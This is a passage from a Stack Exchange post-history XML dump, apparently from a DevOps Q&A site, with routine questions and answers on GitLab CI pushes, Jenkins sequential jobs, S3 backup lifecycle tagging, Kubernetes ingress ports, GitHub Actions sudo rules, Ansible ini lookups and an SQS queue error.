wrong?&#xD;&#xA;      echo &quot;Nothing changed&quot;&#xD;&#xA;    fi" ContentLicense="CC BY-SA 4.0" />
  <row Id="36710" PostHistoryTypeId="1" PostId="11952" RevisionGUID="cb159b1b-bd96-4064-8eb9-e549f6b8c380" CreationDate="2020-07-02T18:07:15.690" UserId="23009" Text="GitLab: Make commit in (shared) CI runner and push to repository/open merge request" ContentLicense="CC BY-SA 4.0" />
  <row Id="36711" PostHistoryTypeId="3" PostId="11952" RevisionGUID="cb159b1b-bd96-4064-8eb9-e549f6b8c380" CreationDate="2020-07-02T18:07:15.690" UserId="23009" Text="&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36715" PostHistoryTypeId="5" PostId="11949" RevisionGUID="1a08047c-a68a-4892-b52c-4ff9cac19b29" CreationDate="2020-07-03T05:02:43.710" UserId="7487" Comment="Minor grammatical changes" Text="We work on multiple java web projects going on at the same time and those are all being tested on several different QA environments.  I'd like to show on our support portal what projects are in what environments without having to manually update it all the time.  I was thinking of some way to tag the builds so I could just query tomcat or those linux servers themselves and show the results.  The tags would be something like &quot;August Release&quot;, &quot;Project 1&quot;, &quot;Project 2&quot;, etc.. Has anyone done something similar?  I'm looking for different options." ContentLicense="CC BY-SA 4.0" />
  <row Id="36716" PostHistoryTypeId="24" PostId="11949" RevisionGUID="1a08047c-a68a-4892-b52c-4ff9cac19b29" CreationDate="2020-07-03T05:02:43.710" Comment="Proposed by 7487 approved by 40 edit id of 1237" ContentLicense="CC BY-SA 4.0" />
  <row Id="36717" PostHistoryTypeId="50" PostId="11760" RevisionGUID="dee11078-17de-43b9-9219-70631049e19f" CreationDate="2020-07-03T08:04:40.360" UserId="-1" />
  <row Id="36718" PostHistoryTypeId="2" PostId="11954" RevisionGUID="b6849e2d-e6fb-427a-97ff-0a0dfa00254b" CreationDate="2020-07-03T11:47:30.763" UserId="19963" Text="CI token used for code checkout is not allowed to do writes to the git repository (unlike GitHub Actions). You need to generate a new personal token and add it to secrets.&#xD;&#xA;&#xD;&#xA;See our integration project here as a sample: https://gitlab.com/taleodor/sample-helm-cd&#xD;&#xA;&#xD;&#xA;Note, if you search through StackOverflow, you may find several other ways to achieve this but in any case you need to explicitly pass valid credentials that are able to write to the repo." ContentLicense="CC BY-SA 4.0" />
  <row Id="36722" PostHistoryTypeId="2" PostId="11956" RevisionGUID="6fcb5b8d-7831-44f8-aa23-5c21cb0e9b39" CreationDate="2020-07-03T12:14:04.343" UserId="23020" Text="Context: I have a long dynamic list of builds calls that I am currently executing in parallel successfully. Example below.&#xD;&#xA;&#xD;&#xA;Problem: In some specific moments it is required to run that list of builds but in a sequential fashion.&#xD;&#xA;&#xD;&#xA;Question: Is there any way to reuse the list of jobs that I already have generated for the parallel execution, but to execute them in a sequential way?&#xD;&#xA;&#xD;&#xA;    stage ('Execute jobs') {&#xD;&#xA;        steps {&#xD;&#xA;            node('node1') {&#xD;&#xA;                script {&#xD;&#xA;                    parallel_jobs = [:]&#xD;&#xA;                    if (params.includeJob1 == &quot;true&quot;) {&#xD;&#xA;                        parallel_jobs['ci'] = {&#xD;&#xA;                            build job: job1, parameters: [], propagate: true&#xD;&#xA;                        }&#xD;&#xA;                    }&#xD;&#xA;                    parallel_jobs['second'] = {&#xD;&#xA;                        build job: job2, parameters: [], propagate: true&#xD;&#xA;                    }&#xD;&#xA;&#xD;&#xA;                    // ...&#xD;&#xA;                    // and more jobs dinamically added to the parallel_jobs list&#xD;&#xA;                    // ... parallel_jobs['etc'] = ...&#xD;&#xA;&#xD;&#xA;                    parallel parallel_jobs&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I am thinking to replace the 'parallel' call for any other Jenkins command, but cannot find the correct one at docs (https://www.jenkins.io/doc/book/pipeline/syntax/#parallel).&#xD;&#xA;&#xD;&#xA;Thank you." ContentLicense="CC BY-SA 4.0" />
  <row Id="36723" PostHistoryTypeId="1" PostId="11956" RevisionGUID="6fcb5b8d-7831-44f8-aa23-5c21cb0e9b39" CreationDate="2020-07-03T12:14:04.343" UserId="23020" Text="Jenkins Declarative Pipeline: Can Jenkins execute a dynamic list of jobs?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36724" PostHistoryTypeId="3" PostId="11956" RevisionGUID="6fcb5b8d-7831-44f8-aa23-5c21cb0e9b39" CreationDate="2020-07-03T12:14:04.343" UserId="23020" Text="&lt;jenkins-pipeline&gt;&lt;automation&gt;&lt;job-dsl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36728" PostHistoryTypeId="2" PostId="11957" RevisionGUID="bbf2d009-3da2-4e6b-acdf-e6e8eff6eec4" CreationDate="2020-07-03T15:19:04.540" UserId="192" Text="I need to automate deletion of aws S3 backups ... evidently if I tag the backup with one of daily, weekly, monthly, yearly then aws will delete based on my desired retention counts per those periods however I see no easy way to determine which of those tags I give to my daily backup process which is&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;	//   Upload backup file&#xD;&#xA;&#xD;&#xA;	aws s3 cp /tmp/backup_2007020644.20200703.1248_blobs.tar  s3://foo-bar-baz-someaccount-us-east-2/backup_2007020644.20200703.1248_blobs.tar --region  us-east-2 --only-show-errors &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;	aws s3api put-object-tagging --bucket foo-bar-baz-someaccount-us-east-2  --key backup_2007020644.20200703.1248_blobs.tar --tagging  --region  us-east-2 TagSet=[{Key=backuptype,Value=blobs}]&#xD;&#xA;&#xD;&#xA;	//   now lets list this s3 bucket&#xD;&#xA;&#xD;&#xA;	aws s3 ls s3://foo-bar-baz-someaccount-us-east-2 --region  us-east-2 &#xD;&#xA;&#xD;&#xA;	2020-07-01 22:55:57   31904428 backup_2007010938.20200701.2233_blobs.tar&#xD;&#xA;	2020-07-01 22:55:43     893239 backup_2007010938.20200701.2233_mongo.tar&#xD;&#xA;	2020-07-02 15:30:36   34343354 backup_2007010938.20200702.1508_blobs.tar&#xD;&#xA;	2020-07-02 15:30:22     893676 backup_2007010938.20200702.1508_mongo.tar&#xD;&#xA;	2020-07-03 01:20:04   30596405 backup_2007020644.20200703.0055_blobs.tar&#xD;&#xA;	2020-07-03 01:19:51     893741 backup_2007020644.20200703.0055_mongo.tar&#xD;&#xA;	2020-07-03 12:48:44   34658003 backup_2007020644.20200703.1226_blobs.tar&#xD;&#xA;	2020-07-03 12:48:30     895294 backup_2007020644.20200703.1226_mongo.tar&#xD;&#xA;	2020-07-03 15:05:00   34657972 backup_2007020644.20200703.1248_blobs.tar&#xD;&#xA;	2020-07-03 15:04:46     895279 backup_2007020644.20200703.1248_mongo.tar&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;alternatively I can code up my own logic to parse above listing then issue the delete command per backup file after my code keeps track of my retention policy  ... there must be a better way ... any advice ?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36729" PostHistoryTypeId="1" PostId="11957" RevisionGUID="bbf2d009-3da2-4e6b-acdf-e6e8eff6eec4" CreationDate="2020-07-03T15:19:04.540" UserId="192" Text="auto delete aws S3 backups" ContentLicense="CC BY-SA 4.0" />
  <row Id="36730" PostHistoryTypeId="3" PostId="11957" RevisionGUID="bbf2d009-3da2-4e6b-acdf-e6e8eff6eec4" CreationDate="2020-07-03T15:19:04.540" UserId="192" Text="&lt;amazon-s3&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36731" PostHistoryTypeId="2" PostId="11958" RevisionGUID="372a328c-d047-4998-b622-42a61f7810bf" CreationDate="2020-07-03T18:22:59.430" UserId="132" Text="I think you're on the right track. Just need a tiny bit more logic on the backup process, then S3 can handle the rest.&#xD;&#xA;&#xD;&#xA;Consider this:&#xD;&#xA;&#xD;&#xA; 1. A backup is uploaded every day. &#xD;&#xA; 2. If today is January 1st (for example), the backup is given a &quot;yearly&quot; tag.&#xD;&#xA; 3. Otherwise, if today is the 1st of the month, the backup is given a &quot;monthly&quot; tag.&#xD;&#xA; 4. Otherwise, if today is a Sunday, the backup is given a &quot;weekly&quot; tag.&#xD;&#xA; 5. Otherwise the backup is given a &quot;daily&quot; tag.&#xD;&#xA;&#xD;&#xA;Next, set up S3 Bucket Lifecycle Policies with each tag as the filter.&#xD;&#xA;&#xD;&#xA; 1. Transition &quot;yearly&quot; backups to Glacier after 365 days (kept indefinitely)&#xD;&#xA; 2. Delete &quot;monthly&quot; backups after 365 days (1 year)&#xD;&#xA; 3. Delete &quot;weekly&quot; backups after 183 days (6 months)&#xD;&#xA; 4. Delete &quot;daily&quot; backups after 31 days (1 month)&#xD;&#xA;&#xD;&#xA;References:&#xD;&#xA;- https://docs.aws.amazon.com/AmazonS3/latest/user-guide/create-lifecycle.html&#xD;&#xA;- https://docs.aws.amazon.com/AmazonS3/latest/dev/lifecycle-configuration-examples.html&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36732" PostHistoryTypeId="5" PostId="11957" RevisionGUID="b81cce57-3743-4614-8eba-e5bcd8c5a6b1" CreationDate="2020-07-03T21:39:30.410" UserId="22373" Comment="Removed unnecessary characters" Text="I need to automate deletion of aws S3 backups ... evidently if I tag the backup with one of daily, weekly, monthly, yearly then aws will delete based on my desired retention counts per those periods however I see no easy way to determine which of those tags I give to my daily backup process which is&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;	//   Upload backup file&#xD;&#xA;&#xD;&#xA;	aws s3 cp /tmp/backup_2007020644.20200703.1248_blobs.tar  s3://foo-bar-baz-someaccount-us-east-2/backup_2007020644.20200703.1248_blobs.tar --region  us-east-2 --only-show-errors &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;	aws s3api put-object-tagging --bucket foo-bar-baz-someaccount-us-east-2  --key backup_2007020644.20200703.1248_blobs.tar --tagging  --region  us-east-2 TagSet=[{Key=backuptype,Value=blobs}]&#xD;&#xA;&#xD;&#xA;	//   now lets list this s3 bucket&#xD;&#xA;&#xD;&#xA;	aws s3 ls s3://foo-bar-baz-someaccount-us-east-2 --region  us-east-2 &#xD;&#xA;&#xD;&#xA;	2020-07-01 22:55:57   31904428 backup_2007010938.20200701.2233_blobs.tar&#xD;&#xA;	2020-07-01 22:55:43     893239 backup_2007010938.20200701.2233_mongo.tar&#xD;&#xA;	2020-07-02 15:30:36   34343354 backup_2007010938.20200702.1508_blobs.tar&#xD;&#xA;	2020-07-02 15:30:22     893676 backup_2007010938.20200702.1508_mongo.tar&#xD;&#xA;	2020-07-03 01:20:04   30596405 backup_2007020644.20200703.0055_blobs.tar&#xD;&#xA;	2020-07-03 01:19:51     893741 backup_2007020644.20200703.0055_mongo.tar&#xD;&#xA;	2020-07-03 12:48:44   34658003 backup_2007020644.20200703.1226_blobs.tar&#xD;&#xA;	2020-07-03 12:48:30     895294 backup_2007020644.20200703.1226_mongo.tar&#xD;&#xA;	2020-07-03 15:05:00   34657972 backup_2007020644.20200703.1248_blobs.tar&#xD;&#xA;	2020-07-03 15:04:46     895279 backup_2007020644.20200703.1248_mongo.tar&#xD;&#xA;&#xD;&#xA;Alternatively I can code up my own logic to parse above listing then issue the delete command per backup file after my code keeps track of my retention policy. There must be a better way, any advice?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36733" PostHistoryTypeId="24" PostId="11957" RevisionGUID="b81cce57-3743-4614-8eba-e5bcd8c5a6b1" CreationDate="2020-07-03T21:39:30.410" Comment="Proposed by 22373 approved by 192 edit id of 1238" ContentLicense="CC BY-SA 4.0" />
  <row Id="36737" PostHistoryTypeId="2" PostId="11959" RevisionGUID="3a364959-8863-48ae-b928-ea420efe41d3" CreationDate="2020-07-04T06:41:13.720" UserId="23029" Text="I used google compute engine to setup a Self Managed Kubernetes, While exposing ingress service via NodePort/LoadBalancer/EnternalIP, it is using default 30000 port range, But I want to expose it on 80 and 443 to the outer world. Please suggest How can I do that?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36738" PostHistoryTypeId="1" PostId="11959" RevisionGUID="3a364959-8863-48ae-b928-ea420efe41d3" CreationDate="2020-07-04T06:41:13.720" UserId="23029" Text="How can I expose Ingress service on 80 and 443 to the outer world" ContentLicense="CC BY-SA 4.0" />
  <row Id="36739" PostHistoryTypeId="3" PostId="11959" RevisionGUID="3a364959-8863-48ae-b928-ea420efe41d3" CreationDate="2020-07-04T06:41:13.720" UserId="23029" Text="&lt;kubernetes&gt;&lt;amazon-web-services&gt;&lt;load-balance&gt;&lt;gcp&gt;&lt;ingress&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36743" PostHistoryTypeId="6" PostId="11959" RevisionGUID="f03d464a-7911-4aa0-8c84-8a136fc0e2e3" CreationDate="2020-07-04T07:27:03.457" UserId="23029" Comment="edited tags" Text="&lt;kubernetes&gt;&lt;amazon-web-services&gt;&lt;ingress&gt;&lt;azure-kubernetes-service&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36744" PostHistoryTypeId="2" PostId="11961" RevisionGUID="916e0de7-7000-4302-b0de-8b95bb283c0c" CreationDate="2020-07-04T12:14:26.663" UserId="23032" Text="I have a GitHub action set on self hosted Ubuntu VPS on Linode.&#xD;&#xA;I ran `sudo ./svc.sh install` and then `./svc.sh start`. The runner is up and working but I have a command in my yaml file that needs to run as sudo. I have this command in sudoers file to run without sudo&#xD;&#xA;`%sudo ALL= NOPASSWD: /bin/systemctl restart twentydb.service`&#xD;&#xA;But still when I push on the server the following error occurs.&#xD;&#xA;`sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper`&#xD;&#xA;&#xD;&#xA;    name: restart the service&#xD;&#xA;    run: |&#xD;&#xA;    sudo systemctl restart twentydb&#xD;&#xA;&#xD;&#xA;I also need to set up 2 more runners on the same server and same setup." ContentLicense="CC BY-SA 4.0" />
  <row Id="36745" PostHistoryTypeId="1" PostId="11961" RevisionGUID="916e0de7-7000-4302-b0de-8b95bb283c0c" CreationDate="2020-07-04T12:14:26.663" UserId="23032" Text="GitHub Actions Runner execute commands with sudo GitHub Actions" ContentLicense="CC BY-SA 4.0" />
  <row Id="36746" PostHistoryTypeId="3" PostId="11961" RevisionGUID="916e0de7-7000-4302-b0de-8b95bb283c0c" CreationDate="2020-07-04T12:14:26.663" UserId="23032" Text="&lt;linux&gt;&lt;continuous-deployment&gt;&lt;github&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36747" PostHistoryTypeId="2" PostId="11962" RevisionGUID="06b2d108-f28e-450c-a678-3dc0ae040fa3" CreationDate="2020-07-04T13:00:45.673" UserId="23032" Text="[airtower-luna from GitHub community answered it here and it worked for me][1]&#xD;&#xA;Answer pasted below:&#xD;&#xA;The command in your workflow file is not the same as the one in your sudoers file, sudo doesn’t know they are functionally equivalent. Use twentydb.service in the workflow, too.&#xD;&#xA;&#xD;&#xA;Also, is the user your runner runs as in the sudo group? If not, that entry won’t apply to it. However, I’d suggest using a separate entry for the user rather than adding the runner to the sudo group.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.community/t/execute-commands-with-sudo/121264" ContentLicense="CC BY-SA 4.0" />
  <row Id="36751" PostHistoryTypeId="5" PostId="11614" RevisionGUID="0cbe12c6-3cf2-42dd-975f-b5ce2f8d58b3" CreationDate="2020-07-05T06:15:23.117" UserId="40" Comment="remove noise, fix grammar and typos" Text="Is there a command or script that one can use to see or list enabled/available volume provisioners in a Kubernetes cluster?&#xD;&#xA;&#xD;&#xA;We have an on-premise cluster and I came to know the hard way that 'local' provisioner has already been enabled in the cluster. So I am trying to see if there is something we can do upfront and set up a few of the provisioners for use by the containers/applications." ContentLicense="CC BY-SA 4.0" />
  <row Id="36756" PostHistoryTypeId="2" PostId="11964" RevisionGUID="e8fbe6bb-1f87-4e49-b2d2-3368dfa0850c" CreationDate="2020-07-05T23:32:54.530" UserId="4115" Text="I'm not really sure I understand your question, but you can execute arbitrary Groovy inside of a `script` block, so you can do just about anything within `script`.&#xD;&#xA;&#xD;&#xA;For example, here is my interpretation of what you are asking for:&#xD;&#xA;&#xD;&#xA;    stage ('Execute jobs') {&#xD;&#xA;        steps {&#xD;&#xA;            node('node1') {&#xD;&#xA;                script {&#xD;&#xA;                    parallel_jobs = [:]&#xD;&#xA;                    if (params.includeJob1 == &quot;true&quot;) {&#xD;&#xA;                        parallel_jobs['ci'] = {&#xD;&#xA;                            build job: job1, parameters: [], propagate: true&#xD;&#xA;                        }&#xD;&#xA;                    }&#xD;&#xA;                    parallel_jobs['second'] = {&#xD;&#xA;                        build job: job2, parameters: [], propagate: true&#xD;&#xA;                    }&#xD;&#xA;    &#xD;&#xA;                    // ...&#xD;&#xA;                    // and more jobs dinamically added to the parallel_jobs list&#xD;&#xA;                    // ... parallel_jobs['etc'] = ...&#xD;&#xA;    &#xD;&#xA;                    if (params.parallel) {&#xD;&#xA;                        // execute jobs in parallel&#xD;&#xA;                        parallel(parallel_jobs)&#xD;&#xA;                    } else {&#xD;&#xA;                        // execute jobs in sequence&#xD;&#xA;                        parallel_jobs.each { name, closure-&gt;&#xD;&#xA;                            closure.call()&#xD;&#xA;                        }&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;In Groovy, Maps (i.e. associative arrays) are ordered.  So if you use this to execute the builds serially rather than in parallel, the builds will be executed in the order they are defined." ContentLicense="CC BY-SA 4.0" />
  <row Id="36757" PostHistoryTypeId="2" PostId="11965" RevisionGUID="78a11785-b1a4-47a9-850e-41e0f14ed0d5" CreationDate="2020-07-05T23:45:02.413" UserId="11221" Text="I have a Lambda function that is created inside a serverless framework setup. I am trying to pass in a queue url as an ENV variable, when I do that it results in the below error message. I've checked multiple times for wrong format in the queue url, no typos. I have also tried including the actual url as a plain string without the variable/string replacement. I have also tried it as seen below but with `'` around it, no luck either. &#xD;&#xA;&#xD;&#xA;Looking around online it seems like people have mostly just had bad urls with typos and since that isn't my case I am unsure what might be wrong. I was hoping someone might have an idea on what is wrong and how to fix it. &#xD;&#xA;&#xD;&#xA;Error message&#xD;&#xA;```&#xD;&#xA;SQS Error Message: The specified queue does not exist for this wsdl version. &#xD;&#xA;```&#xD;&#xA;serverless.yml&#xD;&#xA;```&#xD;&#xA;service: email-service-serverless&#xD;&#xA;provider:&#xD;&#xA;  name: aws&#xD;&#xA;  runtime: nodejs10.x&#xD;&#xA;  vpc:&#xD;&#xA;    securityGroupIds:&#xD;&#xA;      - ${ssm:/pae/${opt:stage}/securityGroupIds}&#xD;&#xA;    subnetIds:&#xD;&#xA;      - ${ssm:/pae/${opt:stage}/subnetIds}&#xD;&#xA;  iamRoleStatements:&#xD;&#xA;    - Effect: 'Allow'&#xD;&#xA;      Resource: arn:aws:sqs:us-east-1:${opt:accID}:email_queue&#xD;&#xA;      Action:&#xD;&#xA;        - 'sqs:*'&#xD;&#xA;  environment:&#xD;&#xA;    SENDGRID_API_KEY: ${ssm:/pae/${opt:stage}/SENDGRID_API_KEY~true} &#xD;&#xA;    emailQueue: https://sqs.us-east-1.amazonaws.com/${opt:accID}/email_queue&#xD;&#xA;# you can overwrite defaults here&#xD;&#xA;region: us-east-1&#xD;&#xA;&#xD;&#xA;functions:&#xD;&#xA;  email:&#xD;&#xA;    handler: handler.email&#xD;&#xA;    memorySize: 128 # in MB&#xD;&#xA;    events:&#xD;&#xA;      - sqs: &#xD;&#xA;          arn: arn:aws:sqs:us-east-1:${opt:accID}:email_queue&#xD;&#xA;          batchSize: 1&#xD;&#xA;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="36758" PostHistoryTypeId="1" PostId="11965" RevisionGUID="78a11785-b1a4-47a9-850e-41e0f14ed0d5" CreationDate="2020-07-05T23:45:02.413" UserId="11221" Text="SQS Error Message: The specified queue does not exist for this wsdl version" ContentLicense="CC BY-SA 4.0" />
  <row Id="36759" PostHistoryTypeId="3" PostId="11965" RevisionGUID="78a11785-b1a4-47a9-850e-41e0f14ed0d5" CreationDate="2020-07-05T23:45:02.413" UserId="11221" Text="&lt;amazon-web-services&gt;&lt;aws-lambda&gt;&lt;aws-cloudformation&gt;&lt;serverless&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36766" PostHistoryTypeId="2" PostId="11967" RevisionGUID="c5ba5c42-9e03-40e2-8c05-7654691d0dcb" CreationDate="2020-07-06T11:00:22.690" UserId="23051" Text="I would like to set a variable value in a playbook reading it from an ini file, possibly failing the play if the file is not found or the value is missing in the file.&#xD;&#xA;&#xD;&#xA;I have found the ini lookup plugin to read values from ini files but it is not clear to me how to put that into a variable that I can reuse in other tasks without having to read it again.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36767" PostHistoryTypeId="1" PostId="11967" RevisionGUID="c5ba5c42-9e03-40e2-8c05-7654691d0dcb" CreationDate="2020-07-06T11:00:22.690" UserId="23051" Text="how to set a variable from an ini file in ansible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36768" PostHistoryTypeId="3" PostId="11967" RevisionGUID="c5ba5c42-9e03-40e2-8c05-7654691d0dcb" CreationDate="2020-07-06T11:00:22.690" UserId="23051" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36769" PostHistoryTypeId="5" PostId="11967" RevisionGUID="61edb20d-1157-45c8-a3c0-d63e0f8ee336" CreationDate="2020-07-06T11:16:52.420" UserId="23051" Comment="tentative example as module" Text="I would like to set a variable value in a playbook reading it from an ini file, possibly failing the play if the file is not found or the value is missing in the file.&#xD;&#xA;&#xD;&#xA;I have found the ini lookup plugin to read values from ini files but it is not clear to me how to put that into a variable that I can reuse in other tasks without having to read it again.&#xD;&#xA;&#xD;&#xA;I could think of something like:&#xD;&#xA;&#xD;&#xA;    - name: lookup variable from ini&#xD;&#xA;      ini:&#xD;&#xA;        name: myParam&#xD;&#xA;        section: mySection&#xD;&#xA;        file: /path_to/ini_file&#xD;&#xA;      register: my_variable&#xD;&#xA;&#xD;&#xA;But since ini is not a module this does not work." ContentLicense="CC BY-SA 4.0" />
  <row Id="36770" PostHistoryTypeId="2" PostId="11968" RevisionGUID="cde1e66c-5fa7-463b-9b33-d72bf6d4873c" CreationDate="2020-07-06T11:25:32.370" UserId="354" Text="You need to use `set_fact` when setting a variable (instead of `register` the outcome of a task):&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- name: Set myParam from ini&#xD;&#xA;  set_fact:&#xD;&#xA;    myParam: &quot;{{ lookup('ini', 'section=mySection, file=/path_to/ini_file') }}&quot;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In the lookup:&#xD;&#xA;&#xD;&#xA;- `ini` specifies what lookup plugin we are using&#xD;&#xA;- `section` and `file` are arguments passed to the lookup, according to [its documentation](https://docs.ansible.com/ansible/latest/plugins/lookup/ini.html)&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36771" PostHistoryTypeId="5" PostId="11967" RevisionGUID="49c07e3c-03ae-46b4-84a6-811a75b52df3" CreationDate="2020-07-06T12:37:19.847" UserId="23051" Comment="looking for ini on remote system" Text="I would like to set a variable value in a playbook reading it from an ini file, possibly failing the play if the file is not found or the value is missing in the file.&#xD;&#xA;&#xD;&#xA;I have found the ini lookup plugin to read values from ini files but it is not clear to me how to put that into a variable that I can reuse in other tasks without having to read it again.&#xD;&#xA;&#xD;&#xA;I could think of something like:&#xD;&#xA;&#xD;&#xA;    - name: lookup variable from ini&#xD;&#xA;      ini:&#xD;&#xA;        name: myParam&#xD;&#xA;        section: mySection&#xD;&#xA;        file: /path_to/ini_file&#xD;&#xA;      register: my_variable&#xD;&#xA;&#xD;&#xA;But since ini is not a module this does not work.&#xD;&#xA;Moreover the ini file to be read from is located on the remote system, the ini plugin howhever, seems to look on the control host for it (from the warning &quot;Unable to find '/path_to/ini_file' in expected paths)." ContentLicense="CC BY-SA 4.0" />
  <row Id="36778" PostHistoryTypeId="5" PostId="11435" RevisionGUID="087d4aa2-7da2-4f75-9eda-3062bb130cd6" CreationDate="2020-07-06T15:33:19.790" UserId="6356" Comment="added 266 characters in body" Text="I've been using SaltStack a lot in my previous job, and loved its event driven model. Now, in my new job, we are using Ansible, and definitely not in an event driven model.&#xD;&#xA;&#xD;&#xA;I was wondering if there was this capacity hidden (or not hidden :)) anywhere in Ansible ? &#xD;&#xA;&#xD;&#xA;Also if you think that it was a good idea to try and implement this event driven model based on Ansible (or if Ansible was not designed to be used like this and it would be an mistake).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;[EDIT]&#xD;&#xA;I got what Arcege is telling me, my question was if there was an event driven sub system in Ansible : The answer is NO.&#xD;&#xA;&#xD;&#xA;So my second question is : What event system would you plug to Ansible in order to get soem really automated infra ? (Kafak could be one...)" ContentLicense="CC BY-SA 4.0" />
  <row Id="36779" PostHistoryTypeId="5" PostId="11965" RevisionGUID="ca1b7a33-d34d-4b06-8580-12d1aced1303" CreationDate="2020-07-06T15:35:30.550" UserId="11221" Comment="Added edit" Text="I have a Lambda function that is created inside a serverless framework setup. I am trying to pass in a queue url as an ENV variable, when I do that it results in the below error message. I've checked multiple times for wrong format in the queue url, no typos. I have also tried including the actual url as a plain string without the variable/string replacement. I have also tried it as seen below but with `'` around it, no luck either. &#xD;&#xA;&#xD;&#xA;Looking around online it seems like people have mostly just had bad urls with typos and since that isn't my case I am unsure what might be wrong. I was hoping someone might have an idea on what is wrong and how to fix it. &#xD;&#xA;&#xD;&#xA;Error message&#xD;&#xA;```&#xD;&#xA;SQS Error Message: The specified queue does not exist for this wsdl version. &#xD;&#xA;```&#xD;&#xA;serverless.yml&#xD;&#xA;```&#xD;&#xA;service: email-service-serverless&#xD;&#xA;provider:&#xD;&#xA;  name: aws&#xD;&#xA;  runtime: nodejs10.x&#xD;&#xA;  vpc:&#xD;&#xA;    securityGroupIds:&#xD;&#xA;      - ${ssm:/pae/${opt:stage}/securityGroupIds}&#xD;&#xA;    subnetIds:&#xD;&#xA;      - ${ssm:/pae/${opt:stage}/subnetIds}&#xD;&#xA;  iamRoleStatements:&#xD;&#xA;    - Effect: 'Allow'&#xD;&#xA;      Resource: arn:aws:sqs:us-east-1:${opt:accID}:email_queue&#xD;&#xA;      Action:&#xD;&#xA;        - 'sqs:*'&#xD;&#xA;  environment:&#xD;&#xA;    SENDGRID_API_KEY: ${ssm:/pae/${opt:stage}/SENDGRID_API_KEY~true} &#xD;&#xA;    emailQueue: https://sqs.us-east-1.amazonaws.com/${opt:accID}/email_queue&#xD;&#xA;# you can overwrite defaults here&#xD;&#xA;region: us-east-1&#xD;&#xA;&#xD;&#xA;functions:&#xD;&#xA;  email:&#xD;&#xA;    handler: handler.email&#xD;&#xA;    memorySize: 128 # in MB&#xD;&#xA;    events:&#xD;&#xA;      - sqs: &#xD;&#xA;          arn: arn:aws:sqs:us-east-1:${opt:accID}:email_queue&#xD;&#xA;          batchSize: 1&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;EDIT**&#xD;&#xA;&#xD;&#xA;Today is a new day, about 18 hours after creating the queues which were part of the issue. For s and giggles I tried the exact same code as last night and to my surprise it worked. I'm now wondering why it wouldn't work last night but did today. I am guessing some sort of cache though I don't know of any caches in cloudformation or sqs creation, maybe there is though?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36780" PostHistoryTypeId="5" PostId="11435" RevisionGUID="30db6d7e-3041-42b7-9ce7-14bf891f6937" CreationDate="2020-07-06T17:26:34.253" UserId="354" Comment="clean up grammar" Text="I've been using SaltStack a lot in my previous job, and loved its event driven model. Now, in my new job, we are using Ansible, and definitely not in an event driven model.&#xD;&#xA;&#xD;&#xA;I was wondering if there was this capacity hidden (or not hidden :)) anywhere in Ansible ? &#xD;&#xA;&#xD;&#xA;Also if you think that it was a good idea to try and implement this event driven model based on Ansible (or if Ansible was not designed to be used like this and it would be an mistake).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;[EDIT]&#xD;&#xA;I got what Arcege is telling me, my question was if there was an event-driven sub-system in Ansible : The answer is NO.&#xD;&#xA;&#xD;&#xA;So my second question is : What event system would you plug into Ansible in order to get a truly automated infrastructure ? (_e.g._ Kafka)" ContentLicense="CC BY-SA 4.0" />
  <row Id="36781" PostHistoryTypeId="6" PostId="11435" RevisionGUID="30db6d7e-3041-42b7-9ce7-14bf891f6937" CreationDate="2020-07-06T17:26:34.253" UserId="354" Comment="clean up grammar" Text="&lt;ansible&gt;&lt;automation&gt;&lt;salt&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36782" PostHistoryTypeId="2" PostId="11971" RevisionGUID="ff07bee7-8ceb-4f39-a3a7-e4b430f3b910" CreationDate="2020-07-06T20:54:33.677" UserId="22987" Text="1. Certificate will be generated by a tool&#xD;&#xA;2. Jenkins instance installed.&#xD;&#xA;3. Need to automate certificate renewal process for kubernetes cluster." ContentLicense="CC BY-SA 4.0" />
  <row Id="36783" PostHistoryTypeId="1" PostId="11971" RevisionGUID="ff07bee7-8ceb-4f39-a3a7-e4b430f3b910" CreationDate="2020-07-06T20:54:33.677" UserId="22987" Text="How can i deploy docker image into kubernetes cluster using Jenkins single job run" ContentLicense="CC BY-SA 4.0" />
